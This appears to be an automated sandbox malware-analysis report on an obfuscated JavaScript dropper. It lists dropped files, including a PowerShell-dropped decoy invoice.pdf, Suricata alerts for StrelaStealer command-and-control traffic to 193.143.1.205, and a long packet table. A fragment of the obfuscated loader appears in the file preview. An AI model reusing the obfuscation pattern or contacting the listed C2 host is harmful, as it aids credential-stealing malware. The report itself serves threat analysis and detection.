SSDEEP:	12288:ONh3PhTJJJJv+9UZP5+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEas:O3PJJJJJm94kegf121YS8lkipdjMMNBn
MD5:	0FD93E20C1612CF7CCA0771CD40D762F
SHA1:	696E5156CF167B4CF06FF0D5DF3B5D46FABDBD77
SHA-256:	9CA209D9F3FEF3163FA292A2523DFFB0CE40E2E1067F4E4502A3B9DC8263B56A
SHA-512:	4CD9E26DE55F15209FD93F553965596986144C4B9A5301FFA8A067492DDB2E19DB2CE1B35F33BED0883705972151F058E6AAD5A143AD1BC0735D94B056BA6B58
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\5116249c-0526-46f8-b873-18ae78dc3997.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ba5cd109-7d90-4f82-921f-b9a38786dc59.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oLYIGNPgEGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxLZG+EGZn3mlind9i4ufFXpAXkru
MD5:	06764BCE75079687662BE28B2B5A2D0B
SHA1:	16B687410570C51760077338CFD312674BFB578E
SHA-256:	49FF9992D0B8C5AAB51E15452480BC0E43CB4A5E786BDA3D6D924FA5F50C39B9
SHA-512:	3F141A3C55D5B8EFB81FC21E4DE306456253D3D90BBB4F057105CDE17873195C914880919296BEC33F662BA064B4276937C04A6F95A9A4E2823B120AD8C64EB4
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17613), with CRLF line terminators
Entropy (8bit):	4.905516797730665
TrID:
File name:	733422181158883785.js
File size:	21'009 bytes
MD5:	46a899913732cb6f3fd47cceeaaaf296
SHA1:	797c17d6f010492ea37ca16213dc92e10980cdbc
SHA256:	9cb61e428e962eecc8667de859667e7e38efd26c541cb4d03cbe65768f2f387a
SHA512:	147b5ea67ca2177a1a82333db7a8f8bef18accb0e453d90de45119d801f455d3148db38eec007cb65b00cf16646efe36d8e7b6ec809c38a7e1db83f327df3157
SSDEEP:	384:coR7YLYoh6mn2TX2DVZgJ2SC9STfAoz2S0JoBDELxeK26:MZ2D2okeZIxX26
TLSH:	D89276E6481CDF96CEF615F255E104E6350801CDFBF856A029338AE41B8DA7B7CD60BA
File Content Preview:	function awpoaad(){fqzgwjbwv=[1031,3079,5127,4103,2055,3072];var oafjrrcf=this[jjswhna+oodrp+lobxcs+foeaqy+raookq+ifdhnss+ldkmg+jowyy](this[jpvsdbumb+ljedrbdcp+ovglvbo+lobxcs+yybyni+jjswhna+jowyy][aparopyjd+lobxcs+raookq+oodrp+jowyy+raookq+xdnvdx+qrbeauuk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T09:14:15.145821+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49707	193.143.1.205	80	TCP
2025-01-11T09:14:15.145821+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49707	193.143.1.205	80	TCP
2025-01-11T09:14:18.365681+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49708	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:14:14.335848093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:14.340745926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:14.340883970 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:14.361181974 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:14.365933895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.145688057 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.145711899 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.145725012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.145821095 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.145849943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.145864964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.145876884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.145903111 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.145936012 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.146032095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.146044016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.146055937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.146069050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.146084070 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.146126032 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.150687933 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.150702000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.150780916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.191839933 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.191853046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.191922903 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.270811081 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.270853043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.270869970 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.270975113 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.270998955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.271012068 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.271049976 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.271181107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.271224022 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.271253109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.271265030 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.271301031 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.271424055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.271435022 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.271470070 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.272037983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.272147894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.272161007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.272196054 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.272336960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.272350073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.272383928 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.272882938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.272895098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.272908926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.272927999 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.272962093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.273016930 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.273029089 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.273083925 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.273610115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.273659945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.273701906 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.329283953 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.329296112 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.329308033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.329355955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.329463005 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.329518080 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.361316919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.361330986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.361398935 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.396162033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.396224022 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.396234989 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.396298885 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.396419048 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.396462917 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.396478891 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.396531105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.396572113 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.396645069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.396656036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.396667004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.396708965 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.396816969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.396858931 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.397135973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.397147894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.397160053 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.397186995 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.397265911 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.397277117 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.397285938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.397296906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.397313118 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.397345066 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.397833109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.397874117 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.397893906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.397906065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.397948027 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.398019075 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.398353100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.398363113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.398375034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.398396015 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.398411989 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.398499012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.398536921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.398549080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.398559093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.398572922 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.398629904 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.398745060 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.399267912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.399311066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.399317026 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.399413109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.399456024 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.399487972 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.399498940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.399511099 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.399538040 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.399720907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.399732113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.399760008 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.400242090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.400293112 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.400305986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.400316954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.400357008 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.401582003 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.419755936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.419811010 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.419820070 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.419899940 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.419918060 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.419928074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.419961929 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.442645073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.442728043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.442739964 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.451906919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.451967955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.451977968 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.451980114 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.452028036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.486736059 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.486783981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.486850023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.494918108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.521604061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.521637917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.521648884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.521775007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.521780968 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.521831036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.521919012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.521930933 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.521965981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.521997929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522116899 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522169113 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.522320032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522543907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522583008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522597075 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.522725105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522737026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522768021 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.522799969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522840977 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.522944927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522957087 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522969007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522979021 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522991896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.522998095 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.523032904 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.523329020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.523341894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.523353100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.523364067 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.523375988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.523381948 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.523423910 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.523749113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.523761034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.523772001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.523783922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.523796082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.523804903 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.523833990 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.524235010 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524246931 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524257898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524270058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524281979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524282932 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.524293900 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524296999 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.524308920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524334908 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.524353981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.524952888 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524965048 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524975061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524986982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.524998903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525007010 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.525010109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525021076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525032997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525032043 CET	49707	80	192.168.2.9	193.143.1.205
